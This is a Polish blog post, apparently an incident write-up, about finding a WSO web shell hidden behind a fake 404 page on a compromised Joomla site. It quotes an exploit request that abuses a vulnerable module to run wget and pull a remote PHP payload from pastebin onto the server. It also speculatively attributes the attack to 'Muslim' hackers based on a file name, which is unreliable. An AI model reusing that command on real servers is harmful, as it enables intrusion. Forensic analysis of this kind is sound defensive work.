WSO Shell: Jak została zainfekowana moja strona internetowa?

Przedstawiam wam jedno z ulubionych narzędzi używanych przez hakerów. Jego prostota użytkowania sprawia, że każdy może stać się potencjalnym hakerem.

Wydaje się, że WSO Shell - bo o nim mowa - zachowuje dobrą równowagę między prostotą a możliwościami. To właśnie dzięki prostemu interfejsowi, stał się jedną z najpopularniejszych powłok internetowych. Jest tak świetny, że niektórzy administratorzy wykorzystują jego potencjał. A hakerzy w wielu przypadkach używają go po prostu do wykonywania złośliwego kodu PHP na stronach internetowych. Teoretycznie jest to coś, co haker mógłby łatwiej osiągnąć przy użyciu bardzo małej ilości kodu.

W społeczności hakerów wokół powłoki WSO wyrósł cały ekosystem. Zostały opracowane dodatkowe narzędzia, które wspierają jego wykonywanie i używanie. Na przykład istnieje narzędzie do tworzenia niestandardowej wersji powłoki z tylko żądanymi funkcjami.

Jest również narzędzie do zarządzania zainfekowanymi witrynami (wiele stron internetowych), które znacznie ułatwia koordynację ataków z wielu serwerów jednocześnie.

Powłoka WSO jest szeroko używana przez niezliczonych hakerów na całym świecie, a społeczność użytkowników, którzy preferują ją jako powłokę internetową, rośnie każdego dnia.

Na przykład, zostały wykonane badania na temat botnetu ChickenKiev, który wykorzystuje WSO w ramach swojej działalności i zostały opublikowane na stronach internetowych Wordfence, korporacji Defiant Inc. Bot ten wykorzystuje skradzione nazwy użytkownika i hasła WordPress do włamywania się, a następnie zarabia przez zainfekowany system WordPress.

Z systemu w którym jest zainstalowany backdoor, tzw. „tylne drzwi”, można wykraść wrażliwe dane jak np. faktury VAT w firmie prowadzonej w formie franczyzy. Bez nich nie jest w stanie opłacić kontrahentów i współpracowników. W takiej sytuacji haker może żądać wykonania opłaty w postaci kryptowaluty w celu ich przywrócenia.

Każda nowa iteracja ma na celu ułatwienie hakerom przejmowania serwerów i robienia z nich wszystkiego co zechcą. Nie można przecenić lenistwa hakerów w tym zakresie przez ustawienie domyślnego hasła na słowo „root”. Aby inni hakerzy przypadkiem nie zdobyli dostępu, jedna z pierwszych linii kodu powłoki WSO zmienia domyślne hasło do jej użycia.

Z życia wzięte

Zostałem poproszony o uruchomienie od jakiegoś czasu nie działającej strony internetowej. Na stronie głównej widniała standardowa wiadomość/błąd: Not Found. The requested URL was not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

Kiedy jednak zaznaczymy całą treść na stronie (Ctrl+A), pojawią się dość dziwnie zanzaczone elemnty w tym jeden w postaci krzyża/plusa.

Pod nim na środku jest ukryty formularz.

Okazuję się, że jest to spreparowana strona ze standardowym komunikatem.

Formularz w najprostszej formie jaką się da aby wysłał żądanie POST. Wystarczy podać właściwe hasło i naszym oczom ukaże się powłoka WSO.

Jak się dostał na serwer?

Strona internetowa została wykonana w systemie Joomla i korzystała z różnych wtyczek. Wystarczyło prześledzić bazę danych, aby znaleźć informacje które nakierowały mnie na dziurę - „tylne drzwi”.

W tym przypadku była to dodatkowa biblioteka systemu Joomla. Prześledźmy żądania GET wywoływane przez url.

Backdoor okazał się w pliku /modules/bamegamenu/ajax_phpcode.php i to za pośrednictwem jego został wgrany inny zainfekowany plik ze strony internetowej pastebin.com.

http://.../modules/bamegamenu/ajax_phpcode.php?code=system(""wget -O ../../up.php pastebin.com/raw/CsS17dZX"");

Po próbie znalezienia zainfekowanego pliku okazało się, że już go tam nie ma. Znalazłem wiele innych zainfekowanych plików ze źródłem WSO. Jednak jeden dziwnie prezentujący się plik zawierał ciąg znaków i był wykonywany przez funkcję eval(). Po rozkodowaniu go, okazało się że to jest również powłoka WSO.

Już na samym początku skrypt za każdym razem wysyła e-mail na wskazany adres w celu poinformowania, gdzie został zainfekowany kod. W tym przypadku jest to wersja 2.6 najnowsza z zaobserwowanych.

Kto stoi za atakiem?

Wszystkie znaki kierują do hakerów tureckich lub rosyjskich muzułmanów. A domyślam się po nazwie pliku, który stworzył haker w dniu 12 maja 2020 r. Jest to ostatni plik w katalogu ./libraries o nazwie respectMuslim.php.

Jak i po wylistowaniu 2 tyś. rekordów z bazy danych używanych do spamowania. Widnieją w niej głównie adresy serwisów rosyjskich jaki i głównych portali mejlowych tj. Gmail, czy Yahoo. Kolejny szczegół na który warto zwrócić uwagę to numer identyfikacyjny kolejnych rekordów. Hakerzy pozostawili pierwsze dwa, który dotyczą nieświadomego administratora systemu Joomla, a kolejne zaczynają się już od ponad 700 tysięcznego rekordu. Oznaczać to może, że już tyle adresów e-mail było wpisanych do bazy. Także po rozesłaniu takiej ilości spamu, adres IP jak i domena z której była wykonywana wysyłka zostały zbanowane, a serwer nie nadawał się już dla hakerów.

Ich rozpoznawalny styl przedstawiam na poniższym zrzucie ekranu jaki na koniec pozostawili po sobie.

Podsumowanie

Rozwiązanie problemu jakim było poznanie przyczyny niedziałającej strony internetowej zajęło mi kilka godzin. Nie spodziewałem się takiego rozwoju zdarzeń i odkryć. Dzięki temu, że znajomy poprosił mnie o interwencję, uświadomiło mnie jak blisko nas są złodzieje. Jeśli potrzebujesz pomocy w zrozumieniu, co się stało z twoją stroną internetową i jak zapobiec włamaniu w przyszłości lub twoja domena/IP potrzebuje usunięcia z czarnych list skontaktuj się ze mną.